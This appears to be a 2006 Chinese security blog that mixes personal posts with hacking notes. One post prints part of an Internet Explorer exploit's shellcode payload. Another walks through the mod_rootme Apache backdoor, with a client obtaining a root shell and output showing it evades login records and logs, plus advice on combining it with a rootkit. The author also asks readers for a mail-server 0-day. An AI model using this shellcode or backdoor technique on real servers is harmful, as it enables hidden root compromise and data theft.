在blog上加了个pingme
大家看左边的公告里那个笑脸图标，直接点一下就可以给我的yahoo通发消息了。
邮件签名里也加上了。
2006年09月28日
2006年09月27日
有点郁闷
吃饭的时候，一个同事听说我的“技能”，马上说：“给你个QQ帮我破下吧！”
汗一下。。。。。。
我说：我会帮你打腾讯客服的。
是的，我觉得偷个alibaba的高供帐号都比破QQ要来的简单。
唉，心情!@#@$@#%@!
本人三种事情不接：
1。破QQ密码（最好的方法是直接打腾讯客服）
2。DDOS（没那么多肉鸡）
3。出于无聊的目的攻击个人机器（要是说黑谁就黑谁，我还在这里混~~？！）
hacker不是神，何况我不敢自称hacker，我只是个混娱乐圈的科普工作者。
晚上和mm去看蔡依琳演唱会，放松一下，happy一下 ：）
2006年09月21日
今天是冷战开始的第一个晚上
我感觉身上好冷。
很想她，却不想找她。
她说只能感受到我对她好，对我没有爱的感觉。
唉，我若真的不爱她，又怎会在最热的时候跑去给她买水果，在夜深的时候跑去看她，在她生气的时候，在楼下等上3个小时想见她，在最困最累的时候，依然等她下班，在最冷的时候，跑去排队，罚站似的一个多小时买火车票。所有这些，我都没想过要得到什么，讨好什么，只是觉得这样做，是对她的呵护，能让她开心。而看她开心，则是我现在生命中最快乐的事情之一了！
亲爱的，或许我真的不懂得表达自己的感情，只知道一味的对你好，但是，你真的感觉不到那些细微之处的真情吗？
从不发脾气，从不生气，可能，你看我的笑脸看腻了，听我的温柔的声音听厌了。是我没做好，不懂得怎样谈“好”恋爱。感情不是一味的好就可以了，两个人应是棋逢对手。我会慢慢学。
可能我真是被你管住了，你说该如何，我都答应，并会好好做。但可能这并不是你想要的，你想我更“男人”，足够保护你，管好你。
倔强的小蝎子，你这次真是伤到我的心了，我会等你服软，等你来找我。
但无论如何，我还是爱你的，也许你不开心，不高兴，如果你见到我烦，那我只好在你面前消失了。但是正如我以前对你说过的，我会在一个角落里默默的关注着你。
小黑说，只要牙儿愿意，他就会一直陪在牙儿身边。
小黑说，只要牙儿不嫌弃，他就一定会给牙儿幸福。
2006年09月19日
这几天好象DDOS比较猖狂
BAIDU倒下后，其他网站都是人心惶惶
前段时间我们也遭受了DDOS的流量，还好不是很猖狂。
云舒今天问我防DDOS产品，我推荐三家：Cisco,Radware,绿盟黑洞
货比三家。
DDOS浪潮过去两天了，刚还在感叹这两天怎么风平浪静，结果IE又暴出了0day
http://sunbeltblog.blogspot.com/2006/09/seen-in-wild-zero-day-exploit-being.html
这个好象比XSEC公布的那个0day好，从截图看，这个应该成功率还不错。
最近的工作似乎有点偏流程和规范方面，忙的都没时间搞具体的技术了~~~
唉，想去看电影了。
国庆就快到了~~~！开心！倒计时中。。。。。。
归类于： Ultimate Hacking — axis @ 4:16 pm 评论(2)
2006年09月11日
好象是最近的一个kernel包，解压后有很多目录是全局可写的666权限
然后一个兄弟跳出来说，类似的目录会被类似的webshell攻击，因为全局可写。
然后另外一哥们又跳出来说在他机器上没这种目录。
sigh，漏洞的形式真是多种多样啊~~~~
归类于： Ultimate Hacking — axis @ 9:43 am 评论(0)
2006年09月08日
document.write(‘ payload = unescape("%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800%u0000
%uf88b%u00b9%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030%u0000
%u408b%u8b0c%u1c70%u8bad%u0870%uec81%u0200%u0000%uec8b%ue8bb
%u020f%u8b00%u8503%u0fc0%ubb85%u0000%uff00%ue903%u0221%u0000
%u895b%u205d%u6856%ufe98%u0e8a%ub1e8%u0000%u8900%u0c45%u6856
%u4e8e%uec0e%ua3e8%u0000%u8900%u0445%u6856%u79c1%ub8e5%u95e8
%u0000%u8900%u1c45%u6856%uc61b%u7946%u87e8%u0000%u8900%u1045
%u6856%ufcaa%u7c0d%u79e8%u0000%u8900%u0845%u6856%u84e7%ub469
%u6be8%u0000%u8900%u1445%ue0bb%u020f%u8900%u3303%uc7f6%u2845
%u5255%u4d4c%u45c7%u4f2c%u004e%u8d00 …… 以下省略若干千字…… ");’);
贴banner玩。。。。。。找个地方画圈圈。。。。。。
归类于： Ultimate Hacking — axis @ 2:23 pm 评论(1)
上来嚷嚷一下，告诉大家我还活着
最近实在太累太忙了，不过也有些想法，等工作忙好了整理好放上来与大家分享
另外，谁给我imail 0day啊~~~~~ 一直到最新的Ipswitch imail 2006 SMTP的~~！
2006年09月04日
归类于： Ultimate Hacking — axis @ 11:10 am 评论(4)
2006年09月01日
这应该说是一种后门技术的思想了。
这里说的利用第三方软件的系统后门，意思是，在第三方软件中，往往提供了一些模块给用户自己开发，后门利用这些模块，或者是直接插入到这些第三方软件中。
这样的好处是杀毒软件比较难查杀,因为现在的AV关注的更多的是系统层面，而对于第三方软件，灵活性更大，很难完全查杀。
缺点则是比较难以隐藏，而且由于是寄托于第三方软件，所以可能会有一些先天上的限制，比如很难达到驱动级别。因此配合系统层面的rootkit使用，会是一种不错的选择。
这类后门其实大家应该耳熟能详了。
比如，wineggdrop的serv-u后门，ssh后门，mssql后门，云舒写过的iis isapi后门（这里也可以把iis看做是windows的“附件”），apache后门。
由于软件提供了接口，我们完全可以用他们来做更多的事情。
简单说一下apache的后门，mod_rootme
这个后门是一个apache 模块，以pipe的方式获得shell，支持tty
而且他能得到系统的root权限。
root 1956 0.0 0.3 4028 1604 ? S 19:03 0:00 \_ /usr/local/apache2/bin/httpd -k start
nobody 1957 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1958 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1959 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1960 0.1 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1961 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
上面是加载了mod_rootme之后启动的apache
注意到pid为1956的这个子进程，他是以root启动的，这就是我们的mod_rootme,所以他能获得root
客户端进行连接
J:\backdoor\linux\mod_rootme-0.3>client.exe 10.0.77.134
rootme-0.3 ready
apache2 -k start-2.05b#
现在的进程情况
root 1955 0.0 0.3 4092 1696 ? S 19:03 0:00 /usr/local/apache2/bin/httpd -k start
root 1956 0.0 0.3 4028 1604 ? S 19:03 0:00 \_ /usr/local/apache2/bin/httpd -k start
root 1966 1.0 0.3 4028 1612 ? S 19:07 0:00 | \_ /usr/local/apache2/bin/httpd -k start
root 1968 0.6 0.2 4268 1220 pts/1 S 19:07 0:00 | \_ /usr/sbin/apache2 -k start
nobody 1957 0.0 0.3 4124 1728 ? S 19:03 0:00 \_ [httpd]
nobody 1958 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1959 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1960 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1961 0.0 0.3 4108 1704 ? S 19:03 0:00 \_ [httpd]
nobody 1967 0.0 0.3 4108 1724 ? S 19:07 0:00 \_ [httpd]
这个后门是无法隐藏进程的，但是可以配合其他的rootkit来隐藏，当然由于是利用了apache ，因此在系统登陆里是什么也看不到的，apache log和root的.bash_history也不会有记录
但是netstat还是可以看到网络连接的.
apache2 -k start-2.05b# w
19:11:36 up 10 min, 0 users, load average: 0.00, 0.03, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
apache2 -k start-2.05b#
apache2 -k start-2.05b#
apache2 -k start-2.05b# netstat -antpo
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name Timer
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
1541/ off (0.00/0/0)
tcp 0 0 127.0.0.1:32769 0.0.0.0:* LISTEN
1659/xinetd off (0.00/0/0)
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
1522/ off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
1955/httpd off (0.00/0/0)
tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN
1807/perl off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
1645/sshd off (0.00/0/0)
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
1717/cupsd off (0.00/0/0)
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
1678/ off (0.00/0/0)
tcp 0 107 10.0.77.134:80 10.0.77.15:3417 ESTABLISHED
1957/ on (0.31/0/0)
apache2 -k start-2.05b#
btw: 在rh8和rh9的默认自带的apache上，是有问题的，启动的时候会出现提示 Undefined Symbol : ap_get_module_config
这个是apache的函数，解决方法是写一个wrapper，重新编译mod，我没测试了。。。。。。
解决方法来自网上，引用一下：
If you see the “httpd started” message, it worked. If there were messages about undefined symbols, you probably have to write a few wrappers. For example, you might see:
./httpd: undefined symbol strdup_ff: mod_foo cannot be loaded
In this case you must write a wrapper for strdup that uses FSEQ pointers. Suppose you write it in wrapper_foo.c and compile that to wrapper_foo.o. Now go back to the linking step:
$ gcc -shared -o mod_foo.so mod_foo.o wrapper_foo.o
$ cp mod_foo.so /path/to/apache/bin/
And try to start Apache again. Eventually this process converges (you can skip ahead by using a utility like nm to list all of the undefined symbols in mod_foo.so if you like) and your Apache module will be up and running.
归类于： Ultimate Hacking — axis @ 11:17 am 评论(0)